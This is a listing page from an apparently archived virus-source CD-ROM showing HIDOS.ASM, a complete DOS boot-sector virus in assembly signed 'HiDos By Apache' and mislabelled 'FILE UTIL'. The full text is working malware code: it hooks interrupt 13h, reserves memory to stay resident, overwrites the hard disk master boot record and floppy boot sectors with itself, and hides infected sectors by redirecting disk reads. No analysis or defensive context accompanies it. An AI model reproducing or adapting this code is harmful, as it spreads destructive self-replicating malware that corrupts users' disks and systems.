home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HIDOS.ASM < prev    next >
Assembly Source File  |  1992-04-15  |  6KB  |  213 lines

  1.         NAME boot         
  2.         PAGE 55,132
  3.         TITLE FILE UTIL
  4.  
  5.  
  6.  
  7.  
  8. code segment
  9.  
  10.         ASSUME CS:CODE,DS:CODE,ES:CODE
  11.  
  12.         org 100h  
  13.  
  14. main:           jmp over
  15.                 db '['
  16. id              db 'HiDos]',0 
  17. by              db 'By Apache',0
  18. over:           xor ax,ax
  19.                 mov ds,ax
  20.                 cli
  21.                 mov ss,ax           
  22.                 mov sp,7c00h
  23.                 sti
  24.                 mov ax,ds:[004eh]
  25.                 mov word ptr ds:[int13+7b02h],ax
  26.                 mov ax,ds:[004ch]
  27.                 mov word ptr ds:[int13+7b00h],ax
  28.                 mov ax,ds:[0413h]
  29.                 dec ax
  30.                 dec ax
  31.                 mov ds:[0413h],ax  
  32.                 mov cl,06h   
  33.                 shl ax,cl   
  34.                 mov es,ax
  35.                 mov word ptr ds:[bigj+7b02h],es
  36.                 mov ax,offset jumpt 
  37.                 mov word ptr ds:[bigj+7b00h],ax 
  38.                 mov cx,0400h
  39.                 push cs 
  40.                 pop ds     
  41.                 mov si,7c00h   
  42.                 mov di,0100h
  43.                 cld    
  44.                 repz
  45.                 movsb
  46.                 push cs 
  47.                 pop ds 
  48.                 jmp cs:[bigj+7b00h] 
  49.  
  50. jumpt:          push cs
  51.                 pop ds
  52.                 mov si,offset drive
  53.                 cmp byte ptr ds:[si],80h 
  54.                 jz hdone  
  55.                 mov bx,0300h
  56.                 mov cx,0001h
  57.                 mov dx,0080h
  58.                 push cs
  59.                 pop es
  60.                 call hdread
  61.                 cmp ds:[0304h],'iH'
  62.                 jz hdone
  63.                 mov bx,0300h
  64.                 mov cx,0007h
  65.                 mov dx,0080h
  66.                 call hdwrit
  67.                 mov si,04beh
  68.                 mov di,02beh
  69.                 mov cx,0042h
  70.                 cld
  71.                 repz
  72.                 movsb
  73.                 mov byte ptr ds:[drive],80h
  74.                 mov bx,0100h
  75.                 mov cx,0001h
  76.                 mov dx,0080h
  77.                 call hdwrit
  78.                 mov byte ptr ds:[drive],00h
  79.  
  80. hdone:          xor ax,ax     
  81.                 mov word ptr cs:[boot+2],ax
  82.                 mov es,ax
  83.                 push cs
  84.                 pop ds
  85.                 mov ax,0201h
  86.                 mov bx,7c00h
  87.                 mov word ptr ds:[boot],bx
  88.                 mov si,offset drive
  89.                 cmp byte ptr ds:[si],80h
  90.                 jz hload 
  91.                 mov cx,0003h
  92.                 mov dx,0100h
  93.                 jmp fload 
  94. hload:          mov cx,0007h 
  95.                 mov dx,0080h
  96. fload:          mov di,'rv'
  97.                 int 13h
  98.                 mov si,offset drive
  99.                 mov byte ptr cs:[si],00h
  100.                 xor ax,ax
  101.                 mov es,ax
  102.                 mov ds,ax
  103.                 mov ax,offset nint13
  104.                 mov ds:[004ch],ax
  105.                 mov ds:[004eh],cs
  106.                 push cs
  107.                 pop ds
  108.                 jmp cs:[boot]
  109.  
  110. hdwrit:         mov ax,0301h
  111.                 mov di,'rv'  
  112.                 jmp xx4
  113. hdread:         mov ax,0201h
  114.                 mov di,'rv'  
  115. xx4:            int 13h
  116.                 ret 
  117.  
  118. nint13:         cmp di,'rv'   
  119.                 jz iv13
  120.                 cmp ah,02h
  121.                 jnz wcheck
  122.                 cmp cl,01h
  123.                 jnz wcheck
  124.                 cmp dh,00h 
  125.                 jnz wcheck 
  126.                 cmp dl,80h
  127.                 jz check1
  128.                 cmp dl,00h
  129.                 jnz wcheck
  130. check1:         push ax 
  131.                 push bx 
  132.                 push cx 
  133.                 push dx 
  134.                 push ds
  135.                 push es 
  136.                 push di
  137.                 mov bx,0300h
  138.                 push cs
  139.                 pop es
  140.                 call hdread
  141.                 mov si,offset [id+0200h]
  142.                 cmp es:[si],'iH'
  143.                 jz redirect
  144.                 jmp iflopd
  145. redirect:       cmp dl,80h
  146.                 jnz rdirfl 
  147.                 pop di 
  148.                 pop es 
  149.                 pop ds
  150.                 pop dx 
  151.                 pop cx 
  152.                 pop bx 
  153.                 pop ax 
  154.                 mov cx,0007h 
  155.                 jmp a13  
  156.           
  157. rdirfl:         pop di 
  158.                 pop es 
  159.                 pop ds
  160.                 pop dx 
  161.                 pop cx 
  162.                 pop bx 
  163.                 pop ax 
  164.                 mov cx,0003h 
  165.                 mov dx,0100h
  166. a13:            mov ax,0201h
  167. iv13:           jmp v13 
  168.  
  169.  
  170. wcheck:         cmp ah,03h
  171.                 jnz v13
  172.                 cmp dl,00h
  173.                 jnz v13
  174.                 push ax
  175.                 push bx
  176.                 push cx
  177.                 push dx
  178.                 push ds
  179.                 push es
  180.                 push di
  181.                 push cs
  182.                 pop es 
  183.                 mov bx,0300h
  184.                 mov cx,0001h
  185.                 xor dx,dx
  186.                 call hdread
  187.                 mov si,offset [id+0200h] 
  188.                 cmp es:[si],'iH' 
  189.                 jz iflopd 
  190.                 mov cx,0003h 
  191.                 mov dx,0100h 
  192.                 mov bx,0300h 
  193.                 call hdwrit
  194.                 mov bx,0100h 
  195.                 xor dx,dx
  196.                 mov cx,0001h
  197.                 call hdwrit
  198. iflopd:         pop di 
  199.                 pop es 
  200.                 pop ds 
  201.                 pop dx 
  202.                 pop cx 
  203.                 pop bx 
  204.                 pop ax 
  205. v13:            db 0eah
  206. int13           dd 0h   
  207. drive           db 0h  
  208. bigj            dd 0h
  209. boot            dd 0h   
  210.  
  211. code ends
  212.  
  213. end main